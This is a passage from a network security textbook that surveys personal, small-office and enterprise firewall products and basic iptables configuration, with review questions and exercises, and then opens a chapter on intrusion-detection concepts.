Regardless of the firewall solution you choose, these devices need to be monitored. They also require updating/patching. You cannot simply install them and forget them.

USING SINGLE MACHINE FIREWALLS

A single machine firewall is a firewall solution running on an individual PC (or even a server). Home users often protect their computers with single machine firewalls. In many cases, security-conscious organizations set up individual firewalls on all workstations on their network in addition to the firewall solution used for the network itself. I recommend that strategy over simply having a perimeter firewall. That is not to say there does not need to be a perimeter firewall. I am simply stating that you should not rely only on the perimeter firewall. Regardless of which scenario you are working in, single machine firewalls have many things in common:

- These can be packet filtering, SPI, or even application gateways.
- All are software based.
- Most are easy to configure and set up.

Most single machine firewalls were designed with the home user in mind, though some are more sophisticated. For example, single machine application firewalls are often designed to run on a database or web server, and provide an additional layer of protection to that device.

For example, more than one virus has spread by scanning nearby machines on a network, looking for open ports and connecting to that port. One version of the infamous MyDoom virus used port 1034 to facilitate its spread. A network that had all individual machines with their own firewalls blocking port 1034 would be immune to this avenue of attack even if one of the machines on the network was infected. In fact, it is common for malware such as Trojan horses to use specific ports. Having a firewall block all of those ports on individual machines is a significant improvement in security. In short, having individual firewalls on all workstations means that even if one machine is breached, the breach will not necessarily affect all machines on the network. We will examine the

Windows 10 firewall, a Linux firewall, and a couple of commercial firewalls (i.e., ones that don't come with the operating system but must be purchased separately). Note that the Windows firewall interface is very similar in Windows 8/8.1, Windows 10, and Server 2016.

When you select a single machine firewall solution, keep in mind that most were designed with several assumptions. Since the home user is the primary target customer for these products, ease of use is generally a high priority. Secondly, most of these products are very low cost and in some cases free. Finally, you should keep in mind that they are not meant for highly secure situations but merely to provide essential security for a home user.

WINDOWS 10 FIREWALL

Windows first started shipping a primitive firewall, called Internet Connection Firewall (ICF), with Windows 2000. It was very simple. Each version of Windows since then has expanded upon this idea. Windows 10 ships with a fully functioning firewall. This firewall can block inbound and outbound packets. To access the Windows 10 firewall, click the Start button and type **Firewall**. The basics of the Windows 10 Firewall can be seen in Figure 4-1.




FIGURE 4-1 Windows 10 Firewall

Note that this looks the same as the firewall settings in Windows Server 2012 and 2016, but different from those in Windows 7.

Beginning with Windows Server 2008 and all versions after that, Windows Firewalls are stateful packet inspection firewalls. With the Windows 10 Firewall, you

can set different rules for outbound and inbound traffic. For example, your standard workstation will probably allow outbound HTTP traffic on port 80, but you might not want to allow inbound traffic (unless you are running a web server on that workstation).

You can also set up rules for a port, a program, a custom rule, or one of the many predefined rules that Microsoft has for you to select from. You can also choose not only to allow or block the connection, but to allow it only if it is secured by IPSec. That provides you with three options for any connection.

Rules allow or block a given application or port. You can also have different rules for inbound and outbound traffic. The rules allow you to decide whether a particular type of communication is blocked or allowed. You can have different settings for inbound and outbound traffic. You can set rules for individual ports (all 65,554 available network ports) and for applications. The rules in the Windows firewall give you a lot of flexibility.

More importantly, you can apply rules differently depending on where the traffic comes from. You can set up rules for three areas or profiles:

- **Domain:** For those computers authenticated on your domain.

- **Public:** For computers from outside your network. You would treat outside traffic more carefully than traffic coming from another machine in your domain.
- **Private:** Private refers to traffic from your own computer, thus the term private.

Administrators should always follow these rules with all packet filtering firewalls:

- If you do not explicitly need a port, then block it. For example, if you are not running a web server on that machine, then block all inbound port 80 traffic. With home machines you can usually block all ports. With individual workstations on a network, you may need to keep some ports open in order to allow for various network utilities to access the machine.
- Unless you have a compelling reason not to, always block ICMP traffic because many utilities such as ping, tracert, and many port scanners use ICMP packets. If you block ICMP traffic, you will prevent many port scanners from scanning your system for vulnerabilities.
- Occasionally, I would suggest continuing to write out acronyms such as ICMP just to make sure this is reinforced.

The Windows Firewall also has a logging feature, but it is disabled by default. Turn this feature on (when you configure the firewall you will see a place to turn on logging). Check this log periodically. You can find more details on the Windows 10 Firewall at <https://docs.microsoft.com/en-us/windows/access-protection/windows-firewall/windows-firewall-with-advanced-security>.

FYI: Log Files

If you are using the Windows Firewall on a workstation within a network that already has a perimeter firewall and the Windows Firewall on all workstations, you may not want to turn on the logging because reviewing the log for your perimeter firewall and all the workstations' firewall logs is impractical. The sheer cumbersome nature of reviewing all of those logs makes it likely that they will never be reviewed.

Typically, you will review logs on your perimeter firewall and on all server firewalls, but not on workstation firewalls. Of course, if your security needs dictate that you log all system firewalls and you have the resources to routinely review those logs, it is certainly a good idea to do so.

USER ACCOUNT CONTROL

User Account Control (UAC) is not a firewall technology but is strongly related to security. Windows Vista first introduced it, and it has been expanded in Windows 7 and it still exists with Windows 10. UAC is a security feature that prompts the user for an administrative user's credentials if the task requires administrative permissions. UAC was first introduced in Windows Vista, but with Windows Server 2008 and Windows Server 2012, and beyond, it has become much more fine tunable. This feature allows you to decide how you want the user account controls to respond. It is not just an on or off proposition; degrees of filtering are available.

LINUX FIREWALLS

Linux has firewall capabilities built into the operating system. This has been a part of the Linux operating system for many years, with occasional improvements in the technology.

Iptables

The first widely used Linux firewall was called ipchains. It was essentially a chain of rules for filtering traffic, thus the name. It was first introduced in version 2.2 of the Linux kernel and superseded the previous ipfwadm (which was not widely used). The more modern iptables replaced ipchains and is the primary firewall for Linux. The iptables service was first introduced in Linux kernel 2.4.

On most Linux systems, iptables is installed as /usr/sbin/iptables. However, if it was not included in your particular Linux installation, you can add it later as shown in Figure 4-2.




FIGURE 4-2 Finding iptables

An iptables firewall is made up of three different kinds of objects: tables, chains, and rules. Basically, the tables contain chains of rules. Put another way, iptables is an expansion on the concept of ipchains. Each chain has a series of rules that define how to filter packets. There are actually three tables and each has some standard rule chains in it. You can, of course, add your own custom rules. The three tables and their standard chains

are as follow:

- **Packet filtering:** This table is the essential part of the firewall. It is a packet filtering firewall and it contains three standard chains: INPUT, OUTPUT, and Forward. The INPUT chain processes incoming packets, and the OUTPUT chain processes traffic sent out from the machine. If the firewall system is also acting as a router, only the FORWARD chain applies to routed packets.
- **Network address translation:** This table is used for performing network address translation on outbound traffic that initiates a new connection. This is used only if your machine is serving as a gateway or proxy server.
- **Packet alteration:** This table is used only for specialized packet alteration. It is often called the mangle table because it alters, or mangles, packets. It contains two standard chains. This table might not even be needed for many standard firewalls.

Iptables Configuration

Iptables requires some configuration. You can do it through the GUI (KDE, GNOME, etc.) but the shell commands are common to most distributions. Let's take a look at some common, basic configuration issues.

To cause iptables to function as a basic packet filtering firewall, you need these commands:

```
■ iptables -F
■ iptables -N block
■ iptables -A block -m state --state
  ESTABLISHED,RELATED -j ACCEPT
```

Obviously, that is the most basic and essential iptables configuration. However, here are some others.

To list the current iptables rules you use:

```
iptables -L
```

To allow communication on a specific port, in this example using SSH port 22, you use:

[Click here to view code image](#)


```
iptables -A INPUT -p tcp --dport ssh -j ACCEPT
```



Or perhaps you need to allow all incoming web/HTTP traffic:

[Click here to view code image](#)

```
iptables -A INPUT -p tcp --dport 80 -j ACCEPT
```



Logging dropped packets is also a good idea. The following command does that:

[Click here to view code image](#)

```
iptables -I INPUT 5 -m limit --limit 5/min -j LOG --l
```



As you can see, there are flags that can be passed to the `iptables` command. The following is a list of the most common flags and what they do.

- **A**: Append this rule to a rule chain.
- **-L**: List the current filter rules.
- **-p**: The connection protocol used.
- **--dport**: The destination port(s) required for this rule. A single port may be given, or a range may be given as start:end.
- **--limit**: The maximum matching rate, given as a

number followed by `"/second"`, `"/minute"`, `"/hour"`, or `"/day"` depending on how often you want the rule to match. If this option is not used and `-m limit` is used, the default is `"3/hour"`.

- **--ctstate**: Define the list of states for the rule to match on.
- **--log-prefix**: When logging, put this text before the log message. Use double quotes around the text to use.
- **--log-level**: Log using the specified syslog level.
- **-i**: Only match if the packet is coming in on the specified interface.
- **-v**: Verbose output.
- **-s --source**: address[/mask] source specification.
- **-d --destination**: address[/mask] destination specification.
- **-o --out-interface**: output name[+] network interface name ([+] for wildcard).

This is not a complete list, just some of the common flags used. But it should be enough for you to get `iptables` basically configured and functioning.

Symantec Norton Firewall

The makers of Norton AntiVirus also sell a personal, single-machine firewall. It is part of the Norton Security suite.

The Norton firewall also includes some additional features such as pop-up ad blocking and privacy protection. It accomplishes the latter task by preventing information about you from being transmitted via the browser without your knowledge. This firewall gives you a relatively easy-to-use interface, similar to Windows Explorer, that also enables you to set browser security. It also has a feature that enables you to connect to Norton's website and have that site scan your system for vulnerabilities. This feature is shown in Figure 4-3.



FIGURE 4-3 Norton vulnerability scan

It should be noted that all of these tasks can be done without Norton. You can set your browser security settings, and you can scan your machine for vulnerabilities (even using free tools downloaded from the Internet, some of which will be discussed in [Chapter 12](#), “Assessing System Security”). However, with Norton you can accomplish all of this via a simpler interface. This is particularly appealing to novice users. It should also be stressed that, unlike less advanced firewalls, Norton’s firewall can block outgoing traffic as well.

As of the 2016 version of the Norton Firewall, it adds some additional features that are more like an intrusion

detection system. It will notify you of any port scans, suspicious traffic, or unusual connection attempts. It does also support rules, like any firewall. You can learn more about the Norton firewall at ftp://ftp.symantec.com/public/english_us_canada/products/norton_inter

The advantages and disadvantages of Norton Firewall are summarized in the following.

Advantages

- Norton Firewall can be purchased as a bundle with Norton AntiVirus software.
- Norton Firewall is easy to use and set up.
- Norton Firewall has several extra features, such as the ability to scan your system for vulnerabilities.
- Norton Firewall has other IDS-like features that are quite useful.

Disadvantages

- Norton Firewall costs about \$40 per copy.
- Many of Norton Firewall's features can be done with separate, free tools.

McAfee Personal Firewall

McAfee and Norton are among the most widely used antivirus software vendors. McAfee Personal Firewall, which is now part of the McAfee Total Protection Suite, comes in many versions, from a personal version to an enterprise version. The personal version is quite easy to use. [Figure 4-4](#) shows the initial screen for the McAfee firewall, and [Figure 4-5](#) shows filtering with McAfee.



FIGURE 4-4 The initial McAfee firewall screen




FIGURE 4-5 Filtering with McAfee

McAfee does offer a few interesting features that are not found in most personal firewall solutions:

- **Tracking:** McAfee Personal Firewall has a utility that will show you on a map the path from which an attack is coming. It does this in much the same way as the `tracert` command, but instead performing `tracert` commands on the incoming packets and then displaying those routes on a map.
- **Connected to HackerWatch.org:** McAfee Personal Firewall is connected to HackerWatch.org, an anti-hacking website that enables you to get tips

and news on the latest threats.

FYI: Traceroute

`tracert` is a command available from the command prompt in Windows or the shell in Unix/Linux that is used to trace where a packet is coming from.

McAfee Personal Firewall now has advanced features, such as basic intrusion detection and integration with the HackerWatch website to follow current intrusion patterns. It also will alert you of any personal information leaving your computer, thus helping to mitigate spyware from exfiltrating data.

While this source is a bit dated, there is a whitepaper on the McAfee firewall at <https://www.sans.org/reading-room/whitepapers/analyst/advanced-network-protection-mcafee-generation-firewall-35250>. McAfee Personal Firewall has advantages and disadvantages, listed below.

Advantages

- McAfee Personal Firewall blocks outbound and inbound traffic.
- McAfee Personal Firewall is easy to use and set up.

- McAfee Personal Firewall links to anti-hacking news and tips.

Disadvantages

- McAfee Personal Firewall costs from \$30 to \$50 depending on the version.
- Some extra features in McAfee Personal Firewall (like the link to anti-hacking news) can be obtained without this product.

In Practice

Extra Firewall Features

You may have noted that many of the firewall solutions come with a variety of extra features not directly related to packet filtering/blocking. You have probably also noticed that many of these features can be obtained from other sources for free. So, the question arises: Why not just use the built in Windows firewall or some other free firewall, and then get the other features on your own?

The answer is really ease of use. In addition to functionality, any technology product has to be evaluated based on usability. For example, you can

do `tracert` commands, scan your machine for vulnerabilities, and monitor various websites to keep current with attacks, but given that most administrators are quite busy, isn't it more convenient to have these features all in one place?

Home users certainly do not have access to a dedicated network administrator and certainly do not have a dedicated network security professional. Many small- to medium-sized organizations are in the same boat. They may or may not have a basic general technical support person on site. In this case the person handling security is likely to have limited skills and will benefit from tools that do much of the work for him.

From a practical point of view, some of these features might be superfluous to a security-savvy network administrator or a dedicated network security professional. However, for the home or small office user, they can be absolutely critical. You will be asked to recommend security solutions on the job as well as in your private life. You must keep in mind not only the technical strengths of each product, but how easy the product will be for the person who uses it.

There are other personal firewall solutions. Most Linux distributions have one or more built-in

firewalls. A Google or Yahoo search on “free firewall” will provide several options. In most cases, personal firewalls will simply be packet filtering firewalls. Most free solutions have rather limited features, whereas many commercial products will add in additional features.

USING SMALL OFFICE/HOME OFFICE FIREWALLS

The small office/home office system (often referred to as SOHO) will frequently have needs similar to the individual PC firewall. The personnel maintaining the firewall will likely have limited network administration and security training. Both Norton and McAfee offer solutions designed to be perimeter firewalls for a small network. These products are quite similar to their individual PC firewalls, but with added features and a slightly higher cost. However, there are other solutions for the SOHO which we will examine here. Keep in mind that one critical consideration with any firewall for this environment is ease of installation and use.

SonicWALL

SonicWALL is a vendor of several firewall solutions. Their TZ series is made specifically for small networks with 10 to 25 users. It costs between \$350 and \$700, depending on the version and retailer. TZ200 is a router-based firewall, as shown in [Figure 4-6](#). You can purchase their products from their vendor SonicGuard, <http://www.sonicguard.com>. That one is now discontinued and the current products are TZ300 or TZ400, or you can use TZSOH (Small Office Home Office).



FIGURE 4-6 The SonicWall TZ 200 01-SSC-8741 Security Appliance Firewall

Most importantly, this product uses stateful packet inspection, which is significantly more secure than basic packet filtering.

One additional feature that SonicWALL products offer is built-in encryption so that all transmissions are encrypted. Currently their products offer AES and 3DES encryption. While not strictly a firewall feature, this is an important part of network security. When packets are being sent around a network and outside the network, it is not difficult to intercept those packets with a packet sniffer and get the data if the packets are not encrypted.

Management of the SonicWALL firewall should be easy to master for those familiar with Windows 2000 and later versions of Windows because the management is based on objects, such as users, groups, and even IP address ranges. Once a group is defined, you can apply filtering/blocking properties to that group.

FYI: AES and 3DES Encryption

Chapter 6, “Encryption Fundamentals,” describes encryption in detail, including how various encryption methods work. At this point it is important to understand that both AES and 3DES are considered highly secure encryption methods and should be appropriate for almost any network

security situation. However, AES is preferred by the NIST (National Institute of Standards) and is generally recommended above 3DES.

SonicWALL, as well as many other modern firewalls, offers built-in NAT. This technology is designed to replace proxy servers. It accomplishes the same goal of hiding internal network IP addresses from the external world.

SonicWall also offers more advanced firewall solutions with their next-generation security appliances. NSA 2650 is one of those appliances. These include features such as the ability to decrypt SSL/TLS and examine it. This prevents internal users (or malware) from using SSL/TLS to exfiltrate data from your network. These systems also have integrated intrusion prevention systems (IPS). We will be discussing IPS in detail in Chapter 5, “Intrusion-Detection Systems.”

The advantages and disadvantages of SonicWALL are briefly listed here.

Advantages

- SonicWALL firewalls provide stateful packet inspection.
- SonicWALL firewalls provide built-in encryption.

- SonicWALL firewalls provide management and configuration that is easy for Windows administrators.
- SonicWALL firewalls provide built-in NAT.

Disadvantages

- The price of SonicWALL firewalls may be prohibitive for small offices on a tight budget.
- SonicWALL firewalls require some skill to configure and are not intended for the complete novice.

D-Link DFL-2560 Office Firewall

D-Link makes a number of products for home users and for small offices. Its NetDefend firewall product is a router-based firewall that uses stateful packet inspection to filter network traffic. D-Link has products for small and large businesses, and you can see all of their products at <http://us.dlink.com/home-solutions/cloud/product-family/>. The NetDefend Network UTM Firewall DFL-2560 is shown in [Figure 4-7](#).



FIGURE 4-7 The DFL-2560

This firewall is fairly easy to configure and has a web-based interface, similar to the type used by many home wireless router manufacturers. By using any computer connected directly to the router, you can enter the router's IP address and you will be presented with a web page that enables you to configure the router. Of course, one of the first things you should do is change the password to prevent other parties from reconfiguring your router-based firewall. This firewall solution can be a bit more expensive than the others we have discussed, costing several thousand dollars. However, it is not a single machine firewall solution, but rather a solution for your gateway, protecting your entire network. Unlike many firewall solutions, the vendor does not require any additional licenses for additional users, so if your company goes from 20 to 50 users, it need not purchase additional licenses.

Here are the advantages and disadvantages of the DFL-2560.

Advantages

- The DFL-2560 includes built-in reliable encryption.
- The DFL-2560 supports whitelisting and blacklisting.
- The DFL-2560 has built-in intrusion detection systems.
- The DFL-2560 has built-in antivirus.
- The DFL-2560 uses stateful packet inspection.
- The DFL-2560 combines multiple firewall types.
- The DFL-2560 includes built-in NAT.
- The DFL-2560 includes built-in VPN.

Disadvantages

- The DFL-2560 lacks some security features that more advanced systems might offer.

USING MEDIUM-SIZED NETWORK FIREWALLS

Medium-sized networks can be defined as having as few as 25 users up to several hundred users all on a single LAN at a single location. Administrators of medium-sized networks face configuration and security issues beyond what an administrator in a home or small offices might encounter. To begin with, medium-sized networks are likely to have a more diverse group of users and applications running. Each of these presents different access needs and security requirements. On the other hand, medium-sized networks typically benefit from the support of dedicated network administration personnel. This means there is someone on site who has at least a basic understanding of computer security.

Check Point Firewall

Check Point is a well-known manufacturer of security equipment, and it offers a range of firewall products designed explicitly for use on medium- to large-sized networks. The 1400 and 3000 security appliance models are for branch offices, the 5000 model is for small to midsized businesses, and the 15000 series is for enterprise applications. Finally, the 23000 series is for large enterprises. You can see all of these at <https://www.checkpoint.com/products-solutions/next-generation-firewalls/enterprise-firewall/>.

Check Point offers a number of other security products, including intrusion-detection systems (IDS will be discussed in detail in [Chapter 5](#)). Check Point sells many package solutions that include a firewall as well as some of these additional security products, though such packages can cost anywhere from \$3000 to more than \$50,000.

The advantages and disadvantages of 5000 series models are as follows.

Advantages

- The 5000 series includes intrusion prevention systems.

- The 5000 series has protections against zero-day threats.
- The 5000 series supports VPN connections.

Disadvantages

- The 5000 series requires at least moderate skill to administer and configure.
- The cost of the 5000 series can be prohibitive to some organizations.

Cisco Next-Generation Firewalls

Cisco is a very well-known manufacturer of networking equipment, especially routers, so it should come as no surprise that it also makes firewalls. Cisco offers a wide range of Cisco Adaptive Security Appliances (ASA). Cisco is also adding the Firepower series to the ASA lineup.

There are a number of ASA models for a variety of purposes. They include firewall capabilities, but many models include other security features. For example, the ASA 5500 series also includes VPNs, intrusion prevention systems (IPS), and even content filtering. The ASA 5505 is shown in Figure 4-8.




FIGURE 4-8 The Cisco ASA 5505

One of the strengths of Cisco products is the extensive training available for their systems. Cisco sponsors a number of certifications for their products. Their highest certification, the Cisco Certified Internetwork Expert (CCIE), is one of the most widely respected and most rigorous certifications in networking. This certification process enables you to easily identify qualified people to work with your Cisco equipment. It also enables you to identify appropriate training plans for your existing staff.

The advantages and disadvantages of the 5500 series are listed below.

Advantages

- The 5500 series includes an advanced firewall.
- The 5500 series includes VPN.

- The 5500 series includes IDS/IPS.
- The 5500 series includes unified communications security.

Disadvantages

- The 5500 series may be cost prohibitive for some organizations.
- The 5500 series requires at least moderate skill to configure and administer.

USING ENTERPRISE FIREWALLS

An enterprise network is a large network that is often made up of several local networks connected over a wide-area network, or WAN. Large corporations and government agencies frequently use this type of environment. The enterprise environment presents a number of challenges not found in smaller networks. First, each small local network that is connected to the enterprise must be secured. You should also recognize that most enterprise networks include many different types of users, applications, and even operating systems. You may have Unix, Linux, Windows, and Macintosh running a combination of hard wired and wireless network connections. In addition, your end users will probably be quite diverse, including everything from clerical workers to skilled IT professionals. This presents a very complex security challenge, but all enterprise networks are supported by multiple network administrators. Many enterprise networks are supported by a dedicated network security professional. This provides the skill set necessary to deal with such complex situations.

The Cisco and Checkpoint models already discussed in this chapter have other models for enterprise solutions. These often have similar management interfaces to their smaller network solutions, but with more features,

additional throughput, and advanced capabilities.

SUMMARY

The type of firewall that is most appropriate for a network depends, at least in part, on the size of the network. Within each size category there are a number of options for a firewall solution, each with its own advantages and disadvantages.

It is important to consider both the technical merits of a firewall solution and the ease of use. A firewall solution's degree of user-friendliness is largely contingent upon the skill set of the support staff that will implement it. Administrators also must balance cost versus benefit. Clearly, the more expensive firewalls have some impressive features, but they may not be necessary for an organization and may negatively impact its overall IT budget.

May I suggest another element is the overall operation of firewall systems. My thoughts are to present a discussion on THE person who has responsibility to manage. It has been my experience too often that our systems of protection are relegated to a person who may not be analytically trained to discern various intricacies of firewall setup and maintenance. It is one thing to set up a firewall and quite another to manage a firewall. We

are not only limited or at risk by the equipment and person but also by company policy. For your consideration.

Test Your Skills

MULTIPLE CHOICE QUESTIONS

1. Which of the following is a common problem when seeking information on firewalls?
 - A. It is difficult to find information on the web.
 - B. Unbiased information might be hard to find.
 - C. Documentation is often incomplete.
 - D. Information often emphasizes price rather than features.
2. Which of the following is not a common feature of most single PC firewalls?
 - A. Software-based
 - B. Packet filtering
 - C. Ease of use
 - D. Built-in NAT
3. What is ICF?

- A.** Windows XP Internet Connection Firewall
 - B.** Windows XP Internet Control Firewall
 - C.** Windows 2000 Internet Connection Firewall
 - D.** Windows 2000 Internet Control Firewall
- 4.** Should a home user with a firewall block incoming port 80, and why or why not?
- A.** She should not because it would prevent her from using web pages.
 - B.** She should because port 80 is a common attack point for hackers.
 - C.** She should not because that will prevent her from getting updates and patches.
 - D.** She should unless she is running a web server on her machine.
- 5.** Should a home user block incoming ICMP traffic, and why or why not?
- A.** It should be blocked because such traffic is often used to transmit a virus.
 - B.** It should be blocked because such traffic is often used to do port scans and flood attacks.
 - C.** It should not be blocked because it is necessary for network operations.
 - D.** It should not be blocked because it is

necessary for using the web.

- 6.** Which of the following is found in Norton's personal firewall but not in ICF?
- A.** NAT
 - B.** A visual tool to trace attacks
 - C.** Vulnerability scanning
 - D.** Strong encryption
- 7.** What tool does McAfee Personal Firewall offer?
- A.** A visual tool to trace attacks
 - B.** NAT
 - C.** Strong encryption
 - D.** Vulnerability scanning
- 8.** What type of firewall is SonicWALL TZ Series?
- A.** Packet screening
 - B.** Application gateway
 - C.** Circuit-level gateway
 - D.** Stateful packet inspection
- 9.** Which type of encryption is included with the T Series?
- A.** AES and 3DES
 - B.** WEP and DES

- C. PGP and AES**
 - D. WEP and PGP**
- 10. NAT is a replacement for what technology?**
 - A. Firewall**
 - B. Proxy server**
 - C. Antivirus software**
 - D. IDS**
- 11. Which of the following is an important feature of D-Link 2560?**
 - A. Built-in IDS**
 - B. WEP encryption**
 - C. Vulnerability scanning**
 - D. Liberal licensing policy**
- 12. Medium-sized networks have what problem?**
 - A. Lack of skilled technical personnel**
 - B. Diverse user group**
 - C. Need to connect multiple LANs into a single WAN**
 - D. Low budgets**
- 13. What type of firewall is Check Point 5000 series firewall?**

- A.** Application gateway
 - B.** Packet filtering/application gateway hybrid
 - C.** SPI/application gateway hybrid
 - D.** Circuit-level gateway
- 14.** What implementation is Check Point 5000 series firewall?
- A.** Router-based
 - B.** Network-based
 - C.** Switch-based
 - D.** Host-based
- 15.** Which of the following is a benefit of Cisco firewalls?
- A.** Extensive training available on the product
 - B.** Very low cost
 - C.** Built-in IDS on all products
 - D.** Built-in virus scanning on all products
- 16.** What is an advantage of an enterprise environment?
- A.** Multiple operating systems to deal with
 - B.** Skilled technical personnel available
 - C.** Lower security needs
 - D.** IDS systems not needed

17. What is one complexity found in enterprise environments that is unlikely in small networks or SOHO environments?
- A. Multiple operating systems
 - B. Diverse user groups
 - C. Users running different applications
 - D. Web vulnerabilities
18. Which of the following is not an advantage of the Fortigate firewall?
- A. Built-in virus scanning
 - B. Content filtering
 - C. Built-in encryption
 - D. Low cost

EXERCISES

Note: Some of the exercises here use commercial tools. All of these exercises can also be completed using free software from the following sites:

- <https://www.techsupportalert.com/best-free-firewall-protection.htm>
- http://download.cnet.com/ZoneAlarm-Free-Firewall/3000-10435_4-10039884.html

EXERCISE 4.1: The McAfee Firewall

1. Download the McAfee personal firewall. You may wish to download one copy to one machine for the entire class to take turns using, or contact McAfee and request an academic discount or free copy.
2. Install and configure the McAfee firewall on your machine.
3. Examine the firewall's configuration utilities.
4. Examine extra features such as its attack tracing utility.
5. Attempt to send packets to blocked ports on that firewall.

EXERCISE 4.2: Router-Based Firewall

Note: For cost reasons a specific router is not mentioned here. Many companies and vendors will donate old routers they no longer use to academic labs. You can go to a used computer equipment outlet and find an older router-based firewall for use in the lab.

1. Using the firewall's documentation, set up this firewall. It should be connected to at least one machine.

2. Attempt to send packets to blocked ports on that firewall.

EXERCISE 4.3: ZoneAlarm Firewall

This product was not covered in this chapter, but you can work with it quite easily. Simply follow these steps:

1. Download the free version from <https://www.zonealarm.com/software/release-history/zafree.html>.
2. Install and configure this firewall.
3. Observe how it works and compare it to other firewalls you have looked at in previous exercises.

PROJECTS

PROJECT 4.1: Finding Firewall Solutions in Your Organization

Contact an organization you are associated with (an employer, your school, a local company, etc.). Explain to the organization that you are doing a school project and arrange to discuss its firewall solution with the network administrator. Determine why the organization selected its particular solution. Was cost a major factor? Was ease of use a major factor? What features were most important to them? Explain your findings and discuss

whether you agree or disagree with that organization's choice.

PROJECT 4.2: Finding a Different SOHO Solution

Using the web or other resources, find a SOHO firewall not mentioned in this chapter. Briefly compare and contrast it to the solutions that were mentioned in the chapter. Evaluate whether the firewall you found is a better choice than the ones mentioned in the chapter and discuss why or why not.

PROJECT 4.3: Selecting the Proper Firewall

Analyze the environment of your academic institution. Is it a medium-sized network or enterprise? What types of users utilize the network? Are there multiple operating systems? Is there sensitive data that requires additional security? Based on the factors you analyze, write a brief essay describing the environment and recommending a firewall solution. Explain your recommendation.

Chapter 5

Intrusion-Detection Systems

CHAPTER OBJECTIVES

After reading this chapter and completing the exercises, you will be able to do the following:

- Explain how intrusion-detection systems work.
- Implement strategies for preventing intrusion.
- Identify and describe several popular intrusion-detection systems.
- Define the term honeypot.
- Identify and describe at least one honeypot implementation.

INTRODUCTION

Chapter 4, “Firewall Practical Applications,” discussed several firewall solutions that have built-in intrusion-detection systems (IDS). An IDS is designed to detect signs that someone is attempting to breach a system and to alert the system administrator that suspicious activity is taking place. This chapter analyzes how an IDS works and how to implement some specific IDS solutions.

IDSs have become much more widely used in the last few years. An IDS inspects all inbound and outbound port activity on a machine/firewall/system and looks for patterns that might indicate an attempted break-in. For example, if the IDS finds that a series of packets were sent to each port in sequence from the same source IP address, this probably indicates that a system is being scanned by network-scanning software such as Cerberus (scanners are discussed at length in Chapter 12, “Assessing System Security”). Since this is often a prelude to an attempt to breach a system’s security, it can be very important to know that someone is performing preparatory steps to infiltrate a system. The IDS may also detect an abnormally large flow of packets from the same IP address, all in a brief period of time. This may indicate a DoS attack. In either case, these are situations the network administrator should be aware of

and should take steps to prevent.

UNDERSTANDING IDS CONCEPTS

A full discussion of intrusion-detection systems, the subject of entire books, is beyond the scope of this section. However, this section provides an overview of IDSs to explain how these systems work. There are six basic approaches to intrusion-detection and prevention. Some of these methods are implemented in various software packages, and others are simply strategies that an organization can employ to decrease the likelihood of a successful intrusion. The following paragraphs describe and examine each.

Let's begin our discussion of intrusion-detection systems with a look at the concepts. How do IDSs work? Well, to explore this, we must first review how networks function. Historically, when IDSs were first developed, hubs were used very frequently. Today, switches are used rather than hubs. With a hub, after a packet has travelled from its source network to the destination network (being routed by its destination IP address), it finally arrives at the network segment on which the target is located. After it gets to that final segment, the MAC address is used to find the target. All the computers on that segment can see the packet, but because the destination MAC address does not match

the MAC address of their network card, they ignore the packet.

At some point, enterprising individuals realized that if they simply chose not to ignore packets not destined for their network card, they could see all the traffic on the network segment. In other words, one could look at all the packets on that network segment. Thus the packet sniffer was born. After that it was just a matter of time before the idea came about of analyzing those packets for indications of an attack, thereby giving rise to intrusion-detection systems.

Preemptive Blocking

Preemptive blocking, sometimes called banishment vigilance, seeks to prevent intrusions before they occur. This is done by noting any danger signs of impending threats and then blocking the user or IP address from which these signs originate. Examples of this technique include attempting to detect the early footprinting stages of an impending intrusion, then blocking the IP or user that is the source of the footprinting activity. If you find that a particular IP address is the source of frequent port scans and other scans of your system, then you would block that IP address at the firewall.

This sort of intrusion detection and avoidance can be quite complicated, and there is the potential of blocking a legitimate user by mistake. The complexity arises from distinguishing legitimate traffic from that indicative of an impending attack. This can lead to the problem of false positives, in which the system mistakenly identifies legitimate traffic as some form of attack. Usually, a software system will simply alert the administrator that suspicious activity has taken place. A human administrator will then make the decision whether or not to block the traffic. If the software automatically blocks any addresses it deems suspicious, you run the risk of blocking out legitimate users. It should also be noted that nothing prevents the offending user from moving to a different machine to continue his or her attack. This sort of approach should only be one part of an overall intrusion-detection strategy and not the entire strategy.

Anomaly Detection

Anomaly detection involves actual software that works to detect intrusion attempts and notify the administrator. This is what many people think of when they talk about intrusion-detection systems. The general process is simple: The system looks for any anomalous behavior. Any activity that does not match the pattern of normal user access is noted and logged. The software compares observed activity against expected normal usage profiles. Profiles are usually developed for specific users, groups of users, or applications. Any activity that does not match the definition of normal behavior is considered an anomaly and is logged. Sometimes we refer to this as “trace back” detection or process. We are able to establish from where this packet was delivered. The specific ways in which an anomaly is detected include:

- Threshold monitoring
- Resource profiling
- User/group work profiling
- Executable profiling

Threshold Monitoring

Threshold monitoring presets acceptable behavior levels and observes whether these levels are exceeded. This could include something as simple as a finite number of failed login attempts or something as complex as monitoring the time a user is connected and the amount of data that user downloads. Thresholds provide a definition of acceptable behavior. Unfortunately, characterizing intrusive behavior solely by the threshold limits can be somewhat challenging. It is often quite difficult to establish proper threshold values or the proper time frames at which to check those threshold values. This can result in a high rate of false positives in which the system misidentifies normal usage as a probable attack.

Resource Profiling

Resource profiling measures system-wide use of resources and develops a historic usage profile. Looking at how a user normally utilizes system resources enables the system to identify usage levels that are outside normal parameters. Such abnormal readings can be indicative of illicit activity underway. However, it may be difficult to interpret the meaning of changes in overall system usage. An increase in usage might simply indicate something benign like increased workflow rather than an attempt to breach security.

User/Group Work Profiling

In user/group work profiling, the IDS maintains individual work profiles about users and groups. These users and groups are expected to adhere to these profiles. As the user changes his activities, his expected work profile is updated to reflect those changes. Some systems attempt to monitor the interaction of short-term versus long-term profiles. The short-term profiles capture recent changing work patterns, whereas the long-term profiles provide a view of usage over an extended period of time. However, it can be difficult to profile an irregular or dynamic user base. Profiles that are defined too broadly enable any activity to pass review, whereas profiles that are defined too narrowly may inhibit user work.

Executable Profiling

Executable profiling seeks to measure and monitor how programs use system resources with particular attention to those whose activity cannot always be traced to a specific originating user. For example, system services usually cannot be traced to a specific user launching them. Viruses, Trojan horses, worms, trapdoors, and other such software attacks are addressed by profiling how system objects such as files and printers are normally used not only by users, but also by other system subjects on the part of users. In most conventional systems, for example, any program, including a virus, inherits all of the privileges of the user executing the software. The software is not limited by the principle of least privilege to only those privileges needed to properly execute. This openness in the architecture permits viruses to surreptitiously change and infect totally unrelated parts of the system.

